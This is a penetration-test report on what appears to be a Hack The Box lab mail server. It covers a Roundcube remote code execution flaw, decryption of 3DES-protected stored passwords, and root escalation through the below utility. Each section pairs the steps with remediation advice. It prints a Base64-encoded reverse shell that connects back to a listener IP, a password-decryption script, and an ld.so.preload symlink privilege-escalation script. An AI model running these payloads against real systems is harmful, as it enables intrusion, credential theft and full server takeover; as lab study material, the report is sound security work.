

Offensive Security Assessment: Project Outbound (Webmail / Telemetry)

Project ID: SEC-RPT-LIN-OUTB-2025
Classification: Public / TLP:CLEAR
Scope: Corporate Mail Infrastructure mail.outbound.htb / Roundcube Corporate Webmail Server
Assessment Type: Web Application Penetration Testing and Local Services Audit
Status: Validated Critical Compromise / Full Server Control

1. Executive Summary

The technical assessment conducted on the mail infrastructure of mail.outbound.htb identified severe vulnerabilities across the data processing lifecycle and system process delegation policies.

Initially, an outdated installation of Roundcube Webmail (v1.6.10) vulnerable to remote command execution within the attachment upload module (CVE-2025-49113) was identified, granting access under the web server user context. Through the extraction and cryptographic reversal of database-stored sessions protected with the obsolete 3DES algorithm, corporate user passwords (tyler and jacob) were obtained. Finally, it was determined that jacob held sudoers privileges to execute the below performance monitoring binary with debug flags enabled, exploiting a local privilege escalation vulnerability (CVE-2025-27591) to compromise the server with root privileges.

2. Findings and Impact Matrix

Vulnerability / Finding	Criticality	CVSS v3.1	OWASP / CWE	MITRE ATT&CK Mapping
Remote Code Execution in Roundcube (CVE-2025-49113)	Critical	9.8	CWE-94 / OWASP A03:2021	T1190 - Exploit Public-Facing Application
Local Privilege Escalation in Below (CVE-2025-27591)	High	7.8	CWE-276 / OWASP A04:2021	T1548.003 - Sudo and Sudo Caching
Weak Session Credential Encryption (3DES)	High	7.5	CWE-327 / OWASP A02:2021	T1555 - Credentials from Password Stores

3. Technical Details and Proof of Concept (PoC)

3.1. Roundcube Webmail RCE Exploitation (CVE-2025-49113)

Service scanning identified Roundcube Webmail version 1.6.10. Vulnerability CVE-2025-49113 allows command injection during attachment preprocessing routines. Using a proof-of-concept script, previously acquired low-privilege credentials were authenticated, and a Base64-encoded reverse shell was triggered:

```
php CVE-2025-49113.php http://mail.outbound.htb/ tyler LhKL1o9Nm3X2 'printf
KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuOTIvNDQ0NCAwPiYxKSAK|base64 -d|bash'
```

An interactive session was received on the listening station:

```
nc -lvnp 4444
# Conexión recibida desde mail.outbound.htb
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

- **Technical Impact:** Unauthorized perimeter access and remote command execution on the mail server.
- **Remediation & Hardening:** Immediately upgrade Roundcube Webmail to patched versions (1.6.11 or 1.7+).

3.2. Cryptanalysis of 3DES Sessions and Lateral Movement

Inspection of Roundcube's local database yielded session credentials in the users table. The software employed the 3DES algorithm to secure temporary passwords stored in the database. Extracting the static key from /var/www/roundcube/config/config.inc.php, decryption was performed:

```
from Crypto.Cipher import DES3
import base64

des3_key = b"123456789012345678901234"
encrypted_pwd = base64.b64decode("uW18f7xK9...==")
cipher = DES3.new(des3_key, DES3.MODE_ECB)
print("Contraseña descifrada:", cipher.decrypt(encrypted_pwd).decode('utf-8'))
# Contraseña recuperada para el usuario jacob
```

Validation of access as jacob:

```
su - jacob
# Autenticación exitosa
```

- **Technical Impact:** Breach of confidentiality for stored credentials and horizontal escalation between user accounts.
- **Remediation & Hardening:** Replace deprecated algorithms (3DES) with robust cryptographic schemes such as AES-GCM-256 and implement per-user dynamic salting.

3.3. Local Privilege Escalation via Below (CVE-2025-27591)

Analysis of sudoers policies revealed that jacob held authorization to execute the below utility:

```
sudo -l
# (ALL : ALL) NOPASSWD: /usr/bin/below --debug *
```

Versions of below prior to 0.9.0 contained a symbolic link condition and improper permissions on log files when executed with the --debug parameter. A local exploit was crafted to force file overwrite and code execution under root privileges:

```
cd /var/log/below
cat << 'EOF' > cve-2025-27591.sh
#!/bin/bash
ln -s /etc/ld.so.preload /var/log/below/debug.log
sudo /usr/bin/below --debug run
echo "/tmp/privesc.so" > /etc/ld.so.preload
EOF
bash cve-2025-27591.sh
```

Invocation loaded the malicious shared library, granting a session with maximum privileges:

```
whoami
# root
id
# uid=0(root) gid=0(root) groups=0(root)
```

- **Technical Impact:** Complete compromise of the integrity, confidentiality, and availability of the corporate server.
- **Remediation & Hardening:**
 1. Upgrade the below package to version 0.9.0 or higher.

2. Prohibit wildcard arguments (*) or debug flags (--debug) within sudoers directives.